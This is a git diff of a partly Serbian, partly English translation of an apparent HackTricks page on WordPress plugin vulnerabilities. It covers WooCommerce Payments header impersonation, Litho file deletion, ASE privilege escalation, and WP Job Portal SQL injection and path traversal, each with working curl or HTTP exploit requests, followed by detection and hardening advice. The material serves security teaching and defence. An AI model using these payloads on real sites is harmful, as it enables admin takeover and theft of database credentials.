@ -361,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||||
The `permission_callback` je callback koji proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||||
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, ona će jednostavno preskočiti proveru korisničkih dozvola.**
|
||||
|
||||
- **Direktan pristup php datoteci**
|
||||
- **Direktan pristup php fajlu**
|
||||
|
||||
Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće eksploatabilna od strane bilo kog korisnika.
|
||||
Naravno, Wordpress koristi PHP i fajlovi unutar plugin-ova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće iskorišćena od strane bilo kog korisnika.
|
||||
|
||||
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
|
||||
Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač može spoof-ovati header i pozvati privilegovane REST rute kao administrator.
|
||||
|
||||
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
|
||||
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
|
||||
3. **Strogu sanitizaciju / validaciju unosa**.
|
||||
- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
|
||||
- Primer headera: `X-Wcpay-Platform-Checkout-User: 1` (postavlja ID korisnika na 1, obično prvi administratorski nalog).
|
||||
- Eksploatisana ruta: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
|
||||
|
||||
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Zašto ovo funkcioniše
|
||||
|
||||
- The plugin maps a client-controlled header to authentication state and skips capability checks.
|
||||
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
|
||||
|
||||
Očekivani indikatori uspeha
|
||||
|
||||
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
|
||||
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
|
||||
|
||||
Kontrolna lista za detekciju
|
||||
|
||||
- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Pregled REST registracija za privilegovane callback-ove koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na request headers.
|
||||
- Potražite upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
|
||||
|
||||
Ojačavanje
|
||||
|
||||
- Nikada ne izvodi autentikaciju ili autorizaciju iz client-controlled header-a.
|
||||
- Ako reverse proxy mora da injektuje identitet, terminate trust kod proxy-a i uklonite dolazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledi potpisani token i verifikuj ga server-side.
|
||||
- Za REST rute koje izvode privilegovane akcije, zahtevaj `current_user_can()` provere i strogi `permission_callback` (ne koristi `__return_true`).
|
||||
- Preferiraj first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -396,28 +443,28 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemi koje uvodi ovaj deo koda:
|
||||
Problemi koje uvodi ovaj isječak:
|
||||
|
||||
* **Neautentifikovani pristup** – `wp_ajax_nopriv_` hook je registrovan.
|
||||
* **Nema nonce / provere sposobnosti** – bilo koji posetilac može da pristupi kraju.
|
||||
* **Nema sanitizacije putanje** – string `fontfamily` koji kontroliše korisnik se konkatenira sa putanjom do datotečnog sistema bez filtriranja, što omogućava klasičnu `../../` traversalu.
|
||||
* **Unauthenticated access** – `wp_ajax_nopriv_` hook je registrovan.
|
||||
* **No nonce / capability check** – svaki posetilac može pozvati endpoint.
|
||||
* **No path sanitisation** – korisnički kontrolisana `fontfamily` string se konkatenira u filesystem path bez filtriranja, što omogućava klasični `../../` traversal.
|
||||
|
||||
#### Eksploatacija
|
||||
|
||||
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog direktorijuma uploads** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Zato što `wp-config.php` živi van *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` prisiljava WordPress da uđe u *čarobnjaka za instalaciju* pri sledećem posetu, omogućavajući potpunu preuzimanje sajta (napadač samo unosi novu DB konfiguraciju i kreira admin korisnika).
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
Ostali značajni ciljevi uključuju plugin/theme `.php` datoteke (da bi se prekinuli sigurnosni pluginovi) ili `.htaccess` pravila.
|
||||
Drugi značajni ciljevi uključuju `.php` fajlove plugin-ova/tema (npr. za onesposobljavanje bezbednosnih dodataka) ili `.htaccess` pravila.
|
||||
|
||||
#### Lista za detekciju
|
||||
#### Kontrolna lista za detekciju
|
||||
|
||||
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` povratni poziv koji poziva pomoćne funkcije za datotečni sistem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacija nepročišćenog korisničkog unosa u putanje (tražite `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacija nesanitizovanog korisničkog unosa u putanjama (potražite `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Odsustvo `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Ojačavanje
|
||||
@ -440,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvostruko proverite:
|
||||
> • Autentifikacija • Autorizacija • Nonce • Sanitizacija ulaza • Ograničenje putanje (npr. putem `realpath()` plus `str_starts_with()`).
|
||||
> **Uvek** tretirajte svaku operaciju upisa/brisanja na disku kao privilegovanu i dvaput proverite:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Eskalacija privilegija putem zastare vraćanja uloge i nedostatka autorizacije (ASE "Pogledaj Admin kao Ulogu")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Mnogi dodaci implementiraju funkciju "pogledaj kao ulogu" ili privremeno prebacivanje uloga tako što čuvaju originalne uloge u korisničkim metapodacima kako bi ih kasnije mogli vratiti. Ako putanja vraćanja zavisi samo od parametara zahteva (npr. `$_REQUEST['reset-for']`) i liste koju održava dodatak bez provere sposobnosti i važećeg nonce-a, to postaje vertikalna eskalacija privilegija.
|
||||
Mnogi plugin-i implementiraju "view as role" ili funkciju privremenog menjanja uloga tako što originalne uloge čuvaju u user meta kako bi ih kasnije vratili. Ako put vraćanja zavisi samo od parametara zahteva (npr. `$_REQUEST['reset-for']`) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertical privilege escalation.
|
||||
|
||||
Primer iz stvarnog sveta pronađen je u dodatku Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Grana resetovanja vraćala je uloge na osnovu `reset-for=<username>` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što je uklonila trenutne uloge i ponovo dodala sačuvane uloge iz korisničkih metapodataka `_asenha_view_admin_as_original_roles`:
|
||||
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu `reset-for=<username>` ako je korisničko ime bilo prisutno u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što ukloni trenutne uloge i ponovo doda sačuvane uloge iz user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -464,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Zašto je podložan eksploataciji
|
||||
Zašto je iskorišćivo
|
||||
|
||||
- Veruje `$_REQUEST['reset-for']` i opciji dodatka bez autorizacije na serverskoj strani.
|
||||
- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio je snižen, može ih obnoviti tako što će pritisnuti putanju za resetovanje.
|
||||
- U nekim implementacijama, bilo koji autentifikovani korisnik mogao bi pokrenuti resetovanje za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokidana autorizacija).
|
||||
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na strani servera.
|
||||
- Ako je korisnik ranije imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles` i kasnije mu je smanjena privilegija, može ih vratiti pristupanjem reset putanji.
|
||||
- U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
|
||||
|
||||
Preduslovi za napad
|
||||
Preduslovi napada
|
||||
|
||||
- Ranjava verzija dodatka sa omogućenom funkcijom.
|
||||
- Ciljni nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u korisničkim metapodacima iz ranijeg korišćenja.
|
||||
- Bilo koja autentifikovana sesija; nedostajući nonce/kapacitet u toku resetovanja.
|
||||
- Ranjiva verzija plugina sa omogućenom funkcijom.
|
||||
- Ciljni nalog ima zastarelu ulogu visokih privilegija sačuvanu u user meta od ranije upotrebe.
|
||||
- Bilo koja autentifikovana sesija; nedostatak nonce/capability u toku reset toka.
|
||||
|
||||
Eksploatacija (primer)
|
||||
```bash
|
||||
@ -484,60 +531,76 @@ Eksploatacija (primer)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Na ranjivim verzijama ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr., `administrator`), efikasno povećavajući privilegije.
|
||||
Na ranjivim izdanjima ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), čime se efikasno eskaliraju privilegije.
|
||||
|
||||
Checklist za detekciju
|
||||
Detection checklist
|
||||
|
||||
- Potražite funkcije za prebacivanje uloga koje čuvaju “originalne uloge” u korisničkoj meti (npr., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifikujte putanje za resetovanje/obnavljanje koje:
|
||||
- Potražite funkcije za prebacivanje rola koje čuvaju “originalne role” u user meta (npr. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifikujte reset/restore putanje koje:
|
||||
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifikuju uloge putem `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizuju na osnovu niza opcija dodatka (npr., `viewing_admin_as_role_are`) umesto na osnovu sposobnosti aktera.
|
||||
- Modifikuju role pomoću `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisuju se na osnovu plugin option niza (npr. `viewing_admin_as_role_are`) umesto na osnovu actor’s capabilities.
|
||||
|
||||
Ojačavanje
|
||||
Hardening
|
||||
|
||||
- Sprovodite provere sposobnosti na svakoj grani koja menja stanje (npr., `current_user_can('manage_options')` ili strožije).
|
||||
- Zahtevajte nonce za sve mutacije uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nikada ne verujte korisničkim imenima koja su dostavljena putem zahteva; rešavajte ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i eksplicitne politike.
|
||||
- Nevažeće stanje “originalnih uloga” prilikom ažuriranja profila/uloga kako biste izbegli zastarelo vraćanje visokih privilegija:
|
||||
- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. `current_user_can('manage_options')` ili strožije).
|
||||
- Zahtevajte nonces za sve izmene rola/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnu korisnika na serverskoj strani na osnovu autentifikovanog izvršioca i eksplicitne politike.
|
||||
- Onemogućite stanje “originalne role” pri ažuriranju profila/rola kako biste izbegli vraćanje zastarelih visokoprivilegovanih podataka:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Razmotrite čuvanje minimalnog stanja i korišćenje vremenski ograničenih, sposobnostima zaštićenih tokena za privremene promene uloga.
|
||||
- Razmislite o čuvanju minimalnog stanja i korišćenju time-limited, capability-guarded tokens za privremene promene uloga.
|
||||
|
||||
---
|
||||
|
||||
## WordPress zaštita
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
### Redovne ažuriranja
|
||||
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina.
|
||||
|
||||
Uverite se da su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
||||
Offensive notes
|
||||
|
||||
- Ciljajte plugin-specific endpoints sa čistim payload-ovima: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Najpre testirajte neautentifikovane putanje (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
|
||||
- Tipični visokog uticaja slučajevi: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVEs. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
|
||||
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
|
||||
Proverite da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
|
||||
Takođe, **instalirajte samo pouzdane WordPress plugins i teme**.
|
||||
|
||||
### Bezbednosni dodaci
|
||||
### Security Plugins
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Ostale preporuke**
|
||||
### **Other Recommendations**
|
||||
|
||||
- Uklonite podrazumevanog **admin** korisnika
|
||||
- Koristite **jake lozinke** i **2FA**
|
||||
- Periodično **proveravajte** dozvole korisnika
|
||||
- **Ograničite pokušaje prijavljivanja** kako biste sprečili Brute Force napade
|
||||
- Preimenujte **`wp-admin.php`** datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.
|
||||
- Povremeno **pregledajte** korisničke **dozvole**
|
||||
- **Ograničite broj pokušaja prijave** da biste sprečili Brute Force napade
|
||||
- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
|
||||
|
||||
### Neautentifikovana SQL injekcija putem nedovoljne validacije (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal dodatak za zapošljavanje izložio je **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal plugin za zapošljavanje je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjiv kod unutar `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -549,9 +612,9 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **Nepročišćeni korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
|
||||
2. **Konkatenacija stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / pripremljene izjave.
|
||||
3. **Neautentifikovana dostupnost** – iako se akcija izvršava putem `admin-post.php`, jedina provera koja postoji je **CSRF nonce** (`wp_verify_nonce()`), koji svaki posetilac može preuzeti sa javne stranice koja uključuje shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Neadekvatno očišćen korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
|
||||
2. **Konkatenacija stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Neautentifikovana dostupnost** – iako se akcija se izvršava preko `admin-post.php`, jedina provera koja postoji je **CSRF nonce** (`wp_verify_nonce()`), koju bilo koji posetilac može preuzeti sa javne stranice koja u sebi sadrži shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Eksploatacija
|
||||
|
||||
@ -567,20 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Odgovor otkriva rezultat injektovane upita ili menja bazu podataka, dokazujući SQLi.
|
||||
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, što dokazuje SQLi.
|
||||
|
||||
|
||||
### Neautentifikovano preuzimanje proizvoljnih fajlova / Putanja Traversal (WP Job Portal <= 2.3.2)
|
||||
### Neautentifikovano preuzimanje proizvoljnih fajlova / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Još jedan zadatak, **downloadcustomfile**, omogućio je posetiocima da preuzmu **bilo koji fajl na disku** putem putanje traversal. Ranjivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Drugi zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal-a. Ranljivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` је под контролом нападача и конкатенован је **без санитарне обраде**. Опет, једини заштитни механизам је **CSRF nonce** који се може преузети са странице за резиме.
|
||||
`$file_name` je pod kontrolom napadača i konkatenira se **bez sanitizacije**. Opet, jedino ograničenje je **CSRF nonce** koji se može dohvatiti sa stranice za rezime.
|
||||
|
||||
#### Искоришћавање
|
||||
#### Eksploatacija
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -589,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Server odgovara sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
|
||||
Server vraća sadržaj datoteke `wp-config.php`, leaking DB credentials i auth keys.
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user